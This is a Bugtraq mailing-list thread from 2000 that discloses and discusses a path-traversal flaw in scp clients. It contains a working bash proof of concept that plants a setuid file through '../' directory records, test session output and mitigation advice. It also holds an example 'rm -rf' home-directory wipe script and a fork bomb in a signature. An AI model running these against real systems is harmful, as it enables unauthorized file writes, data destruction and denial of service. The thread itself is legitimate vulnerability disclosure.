This issue appears quite often - tar suffers from problem of this kind as
well (using cute symlink tricks, you can create an archive, which, when
unpacked, can overwrite or create specific files anywhere in your
filesystem). This time, similar scp vulnerability has been found and
acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).

When you are scp'ing files from remote machine to your local computer,
modified scp service on the second endpoint can spoof legitimate scp data,
overwriting arbitrary files.

As a proof of concept, I created trivial scp replacement (put it on remote
machine in the place of original scp binary - usually in /usr/local/bin).
It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy
file on client system:

--
#!/bin/bash

echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
--

This isn't really nice :P After SSH become popular, people started to
transfer files using scp (both user files and backups, logs etc).
Successful exploitation of single server (or even single account) might
cause futher intrusions on client machines.

Another thing I can imagine - automated scp worm, which will, after
intrusion, intercept futher scp sessions (eg. using ptrace) to send itself
to remote system (and, probably, doing other operations as well). This
doesn't actually require it to operate on privledged level :>

What's probably the most alarming, there is no simple way to detect such
attack - path is stripped before displaying filenames on client side -
in above example, you'll see successful transfer of ScpIsBuggy file,
suggesting it has been downloaded in current directory. Also, file modes
are not verified, so suid files can be placed in remote system (but that's
not the point, even without it, remote attack eg. on .ssh/authorized_keys
is possible).

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=

Date:         Mon, 2 Oct 2000 00:49:54 -0600
Reply-To: Craig Ruefenacht <ruefenac@DIGSIGTRUST.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Craig Ruefenacht <ruefenac@DIGSIGTRUST.COM>
Organization: Digital Signature Trust
Subject:      Re: scp file transfer hole
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

I have two threads in this email.  The first one deals with the writing
to "arbitrary files" and the second one deals with the behavior of
OpenSSH 2.2.0p1 using the exploit given by Michal Zalewski.

> This issue appears quite often - tar suffers from problem of this kind as
> well (using cute symlink tricks, you can create an archive, which, when
> unpacked, can overwrite or create specific files anywhere in your
> filesystem). This time, similar scp vulnerability has been found and
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).
>
> When you are scp'ing files from remote machine to your local computer,
> modified scp service on the second endpoint can spoof legitimate scp data,
> overwriting arbitrary files.

Arbitrary files being limited to what the user running scp has write
access too, at least with OpenSSH 2.2.0p1 on the local side and the ssh
program (on the local side) not being suid.

For the test I had OpenSSH 2.2.1p1 on the local end, ssh not suid, sshd
1.2.27 on the remote end, sshd running as root.  Both the local and
remote host were Solaris 2.6.

I was only able to overwrite files that I myself had permission to write
to.  While this exploit could create files on the local system that are
owned by me and suid to me, if I'm not root, its only harming myself.
Of course if I had, say, a root cron job that ran a program that I
myself had rights to, this could be a problem.  Some malicious remote
host that I scp files from could overwrite scripts that get executed by
root via cron and would have free roam of my local system.  But if its
security you are after, having a root cron that does this isn't a good
idea.  I talk about suid files farther down, which pose their own
possibilities.

IMHO it isn't a good practice to allow root to scp files to/from hosts,
or to ssh in for that matter, especially if its part of an automated
process of moving logfiles or something.  By disabling root ssh access,
a user scp'ing files can only damage files they have rights to.  To
protect yourself, make sure that everything run from root's cron (and
other automated tasks that run as root) don't run programs that are
writable by users.

With OpenSSH 2.2.0p1 as the client, to protect important files (esp
~/.ssh/authorized_keys, ~/.ssh/identity*) change them to mode 0400.  No
reason to have them writable, and if they are not writable, OpenSSH
2.2.0p1 scp won't overwrite them.  Other versions of ssh may be
vulnerable.  I'm only demonstrating OpenSSH 2.2.0p1 here.

I tried to scp a file from the remote machine and write it to the local
machine where the file already existed on the local machine (ie both
remote and local machine had exact same file), and had modes 0400 on the
local machine.  I wasn't able to overwrite the file on the local side.
Here is the session:

-+-+-+-+-+-+-+-+-+-+-

118 localhost:~> ssh remotehost "ls -al foo.txt"
Enter passphrase for RSA key 'jdoe@localhost':
-r--------   1 jdoe     user          931 Sep 27 13:26 foo.txt

119 localhost:~> whoami
jdoe

120 localhost:~> ls -al foo.txt
-r--------   1 jdoe     user          931 Sep 27 13:26 foo.txt

121 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
./foo.txt: Permission denied

122 localhost:~> ls -al foo.txt
-r--------   1 jdoe    user          931 Sep 27 13:26 foo.txt

-+-+-+-+-+-+-+-+-+-+-

If I change the permissions on the copy of foo.txt on the local machine
to 0600 and repeat the scp, the foo.txt file on the local machine gets
overwritten without warning.  While it can be argued that this is a bad
thing (a warning would be nice), its nothing different than using

  /bin/cp -f <sfile> <dfile>

to copy a file locally.


Now for the second thread...

> As a proof of concept, I created trivial scp replacement (put it on remote
> machine in the place of original scp binary - usually in /usr/local/bin).
> It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy
> file on client system:
>
> --
> #!/bin/bash
>
> echo "D0755 0 ../../../../../../tmp/nope"
> echo "D0755 0 ../../../../../../tmp"
> echo "C4755 200 ScpIsBuggy"
> dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
> dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
> --

Tried this exploit using the above code in place of the scp program on
the remote system (Debian Linux) running sshd 1.2.27 and the local
system running OpenSSH 2.2.0p1 on Solaris 2.6.  The exploit created a 0
byte file on the local machine with modes 4700.  Here is that session:

-+-+-+-+-+-+-+-+-+-+-

101 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
ScpIsBuggy             0% |               --:-- ETA
lost connection

102 localhost:~> ls -al /tmp/Scp*
-rws------   1 jdoe     user            0 Oct  2 00:06 /tmp/ScpIsBuggy

-+-+-+-+-+-+-+-+-+-+-

Here again, I had to have write permission to /tmp/ScpIsBuggy on the
local machine for the file to even be created.

However, even though the file is owned by me and suid me and is 0 bytes
with OpenSSH 2.2.0p1, other versions of ssh/scp may in fact enable a
malicious remote host to write files onto the local system anywhere the
user running scp has write permissions to and make it suid that user.
Then the user is open for attacks from other users who can log into the
local system.

For instance, if I were to scp a compiled C program that did the
equivalent of this shell script:

  #!/bin/bash
  cd
  /bin/rm -rf *

from a malicious remote host onto my local system, using a scp that
could write the program to /tmp/<program>, give ownership to me and set
to mode 4555, then anyone who can log into the local system could simply
run /tmp/<program> and delete everything in my home directory.  And all
of this could be done without me knowing where <program> was written to
on the local system.  <program> could also send email as me, basically
could do anything that I had rights to do.

Just my $0.02 worth.